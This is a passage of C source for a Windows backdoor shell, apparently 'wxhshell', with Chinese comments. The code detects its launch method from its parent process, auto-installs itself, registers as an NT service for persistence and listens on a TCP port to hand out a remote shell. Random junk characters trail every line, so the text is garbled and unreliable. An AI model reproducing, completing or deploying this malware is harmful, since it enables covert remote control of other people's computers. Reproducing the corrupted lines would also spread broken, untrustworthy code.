ULONG UniqueProcessId; C\Yf]J
ULONG InheritedFromUniqueProcessId; -wl&~}%M
} PROCESS_BASIC_INFORMATION; dV'^K%#
eX}aa0
PROCNTQSIP NtQueryInformationProcess; '/0e!x/8
"zTy_0[;
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; h&d"| <
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; gp $Rf9\
xt"-Jmox
HANDLE hProcess; u(f;4`
PROCESS_BASIC_INFORMATION pbi; +|pYu<OY
gae=+@z
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); =-GxJPL
if(NULL == hInst ) return 0; ]>k8v6*=
yIngenr$
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); V\r{6-%XiW
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); `Je1$)%
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); S<'_{u z
NYG!\u\Rm
if (!NtQueryInformationProcess) return 0; 5P\A++22Y
bXXX-Xc
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); QV\af
if(!hProcess) return 0; 6o9&FU
R ;A8y
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ?P>4H0@I+
]F>#0Rdc
CloseHandle(hProcess); ,mi7WW9
Mk973'K'
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 5|Z8UzL
if(hProcess==NULL) return 0; /Qef[$!(
B<qsa QG
HMODULE hMod; .;ofRx<
char procName[255]; DS7L}]
unsigned long cbNeeded; N1.1
" Qyi/r41
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 9b,0_IMHH
Gx}`_[-
CloseHandle(hProcess); pBv,,d`
rbIYLVA+V
if(strstr(procName,"services")) return 1; // 以服务启动 GJ2ZK=/
$9r4MMs{$
return 0; // 注册表启动 ONy\/lu|
} "_dg$j`Y&&
Dr=$ }Y
// 主模块 ;PU'"MeB "
int StartWxhshell(LPSTR lpCmdLine) GXQ%lQ
{ N'aq4okoL
SOCKET wsl; ,RY;dX-#
BOOL val=TRUE; Sj|tR[SAoD
int port=0; En\q. 3
5
struct sockaddr_in door; ^q&|7Ou-
PE/uB,Wl
if(wscfg.ws_autoins) Install(); P?n4B \!
^EkxZ4*g
port=atoi(lpCmdLine);
(#O"
Vky]In=
if(port<=0) port=wscfg.ws_port; Kr1Y3[iNv
oz,.gP%
WSADATA data; Buh}+n2]5
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ;bg]H >$U7
dPf7o
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; K\8zhY
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); .j^BWr
door.sin_family = AF_INET; v'Ehr**]+
door.sin_addr.s_addr = inet_addr("127.0.0.1"); C8T0=o/-`
door.sin_port = htons(port); FkuD Gg~a
V rx,'/IS8
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { o,c}L9nvt
closesocket(wsl); }S?"mg&V
return 1; Z[]8X@IPe
} zF>;7'\x
B]()
if(listen(wsl,2) == INVALID_SOCKET) { #>,E"-]f
closesocket(wsl); 6aHD?a o
return 1; +/RR!vG,
} tK/,U
=+
Wxhshell(wsl); /je
$+
WSACleanup(); Mlo,F1'?>
.`*]nN{
return 0; A?}[rM
Z
(jj`}Qe3U
} cqJXZ.XC
Aaq%'07ihW
// 以NT服务方式启动 I=<Qpd4
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) |3T2}oh rr
{ [+R_3'aK
DWORD status = 0; X;UEq]kcmn
DWORD specificError = 0xfffffff; ){'<67dK
/d:hW4}<}.
serviceStatus.dwServiceType = SERVICE_WIN32; dW!El^w}
serviceStatus.dwCurrentState = SERVICE_START_PENDING; "M[&4'OM
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE;
zp}pS2DU
serviceStatus.dwWin32ExitCode = 0; ]adgOlM
serviceStatus.dwServiceSpecificExitCode = 0; BN%cX2j
serviceStatus.dwCheckPoint = 0; K?!W9lUq
serviceStatus.dwWaitHint = 0; A/UO cl+N
1;S?9N_B
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); vazA@|^8
if (hServiceStatusHandle==0) return; Y`eF9Im,
"!AtS
status = GetLastError(); =SeQ- H#
if (status!=NO_ERROR) !o?&{"#+
{ jIrfJ*z
serviceStatus.dwCurrentState = SERVICE_STOPPED; $':5uU1}
serviceStatus.dwCheckPoint = 0; T|D^kL%m!
serviceStatus.dwWaitHint = 0; w2X HY>6];
serviceStatus.dwWin32ExitCode = status; z[<Na3]
serviceStatus.dwServiceSpecificExitCode = specificError; Bt,'g*Cs
SetServiceStatus(hServiceStatusHandle, &serviceStatus); s5mJ
-
return;
3F!)7
} *c/V('D/
m;{HlDez
serviceStatus.dwCurrentState = SERVICE_RUNNING; !9KDdU
serviceStatus.dwCheckPoint = 0; W#NZnxOX"
serviceStatus.dwWaitHint = 0; \#Jq%nd
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); #5{xWMp/0
} KU
oAxA
>bQOpGy}l
// 处理NT服务事件,比如:启动、停止 X`WS&!C<
VOID WINAPI NTServiceHandler(DWORD fdwControl) Jj=N+,km
{ U/s
Z1u-
switch(fdwControl) h4 9q(085V
{ eWex/ m
case SERVICE_CONTROL_STOP: fiA8W
serviceStatus.dwWin32ExitCode = 0; XxdD)I
serviceStatus.dwCurrentState = SERVICE_STOPPED; 6Y,&